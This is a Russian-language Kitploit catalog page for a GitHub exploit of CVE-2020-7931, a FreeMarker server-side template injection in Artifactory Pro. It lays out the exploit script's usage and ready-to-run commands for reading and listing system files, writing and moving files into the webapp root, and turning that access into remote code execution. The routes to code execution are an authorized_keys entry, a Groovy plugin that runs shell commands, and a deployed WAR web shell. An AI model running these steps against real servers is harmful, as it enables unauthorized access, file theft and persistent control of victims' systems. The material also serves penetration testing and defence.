Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2020-7931 — Взлом Artifactory с помощью серверной инъекции шаблонов | Kitploit
Инструменты/GitHubGitHub/gquere/cve-2020-7931
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHubgquere/cve-2020-7931

CVE-2020-7931

Взлом Artifactory с помощью серверной инъекции шаблонов

Репозиторий
501526 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2020-7931: Эксплуатация SSTI в Artifactory Pro

CVE-2020-7931 — это своего рода уязвимость намеренной неверной конфигурации в Artifactory, которая позволяет злоумышленникам выполнять инъекции шаблонов на стороне сервера из шаблона FreeMarker.

Уязвимость была обнаружена Райаном Хэнсоном из Atredis и была исправлена для всех затронутых версий в конце 2019 года. Она работает только на Pro-версиях Artifactory, поскольку другие версии не имеют возможностей шаблонизации.

Этот репозиторий содержит скрипт и шаблон.

  • Скрипт на Python является обёрткой для автоматизации загрузки, развёртывания и выполнения полезной нагрузки шаблона.
  • Шаблон реализует множество примитивов (чтение, список, запись...), которые взаимодействуют с файловой системой и приводят к удалённому выполнению кода.

Содержимое шаблона

Шаблон получает первый GET-параметр для определения желаемого действия. Допустимые действия:

root@kitploit:~
info                                    Возвращает информацию о текущей конфигурации
read <filepath>                         Читает файл как есть
read_bytes <filepath>                   Читает файл бинарно как целые числа
list <dirpath>                          Выводит содержимое каталога
create_file <filepath>                  Создаёт пустой файл
mkdir <dirpath>                         Создаёт папку
delete <filepath>                       Удаляет файл или пустую папку
move <src> <dst>                        Перемещает файл (*)
copy <scr_path> <src_file> <dst>        Копирует файл в корень веб-приложения. Обратите внимание на странные аргументы (**)

(*): move использует Java-метод renameTo, который не работает между разными файловыми системами. Чтобы выполнить перемещение между файловыми системами, необходимо использовать copy, а затем move, подробнее ниже.

(**): путь к источнику должен быть разделён на базовый путь и имя файла; назначение указывается относительно корневого пути веб-приложения Artifactory, например /opt/jfrog/artifactory/tomcat/webapps/artifactory/

Использование скрипта

root@kitploit:~
usage: artifactory_CVE-2020-7931.py [-h] -H HOST [-u USER] [-p PASSWORD]
                                    [-c COOKIE] [-U UPLOAD] [-g]
                                    [-d DROP_TEMPLATE] [-e EXEC_TEMPLATE] [-r]
                                    [-R REPOSITORY_NAME]

optional arguments:
  -h, --help            show this help message and exit
  -H HOST, --host HOST
  -u USER, --user USER
  -p PASSWORD, --password PASSWORD
  -c COOKIE, --cookie COOKIE
  -U UPLOAD, --upload UPLOAD
  -g, --get_cookie
  -d DROP_TEMPLATE, --drop_template DROP_TEMPLATE
  -e EXEC_TEMPLATE, --exec_template EXEC_TEMPLATE
  -r, --reload_plugins
  -R REPOSITORY_NAME, --repository_name REPOSITORY_NAME
                        Default: example-repo-local

Получение и установка cookie

root@kitploit:~
export cookie=$(./artifactory_CVE-2020-7931.py -H http://localhost:8081 -g -u admin -p password | grep '-') && echo $cookie

Загрузка файла

root@kitploit:~
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -U sample.groovy

Развёртывание шаблона

root@kitploit:~
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -d sample.xml

Выполнение шаблона

root@kitploit:~
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml list /etc/
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml read /etc/password

Копирование файла между точками монтирования

Как мы уже видели, renameTo() не будет работать между разными файловыми системами. Чтобы эмулировать это, сначала скопируйте файл, затем переместите (сделайте это немедленно, иначе Artifactory может аварийно завершиться!):

root@kitploit:~
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml copy /var/opt/jfrog/artifactory/data/tmp/artifactory-uploads/ bla /bla (***)
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml move /opt/jfrog/artifactory/tomcat/webapps/artifactory/bla /etc/bla

(***): Как объяснялось ранее, здесь /bla на самом деле ссылается на /opt/jfrog/artifactory/tomcat/webapps/artifactory/bla, потому что root.write() обязательно записывает в текущий корень веб-приложения.

Это позволяет эксплуатировать конфигурации, которые хранят артефакты на отдельной файловой системе (что является разумной практикой!).

Получение удалённого выполнения кода

По умолчанию при установке Artifactory невозможно создавать экземпляры классов, поэтому обычный трюк с freemarker.template.utility.Execute не сработает.

Существует несколько других способов получить удалённое выполнение кода, просто манипулируя файловой системой:

  • добавление открытого ключа в файл authorized_keys пользователя, что может не работать по ряду причин (возможно, нет SSH, возможно, нет аутентификации по открытому ключу, возможно, он настроен искать в /etc/ssh/authorized_keys, а не в домашних каталогах пользователя...)
  • выполнение плагина Groovy
  • запуск сервлета Tomcat, реализующего веб-шелл

Выполнение плагина Groovy

Вот пример плагина Groovy, выполняющего команды оболочки, более подробные примеры здесь:

root@kitploit:~
def proc = "ls -la /etc".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());

Плагины должны быть размещены в пути плагинов /var/opt/jfrog/artifactory/etc/plugins/ и перезагружены с помощью вызова API, который требует привилегий администратора Artifactory:

root@kitploit:~
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -r

Запуск сервлета Tomcat (развёртывание .war файла)

Вот сервлет Tomcat, реализующий веб-шелл.

WAR-файлы должны быть помещены в путь веб-приложений Tomcat /opt/jfrog/artifactory/tomcat/webapps/. По умолчанию развёртывание WAR-файлов происходит автоматически, и будет запущено другое веб-приложение рядом с экземпляром Artifactory, например, по адресу http://localhost:8081/sample/.

Это предпочтительный метод, так как он не требует привилегий администратора Artifactory и позволяет выполнять команды на лету.

Скачать инструмент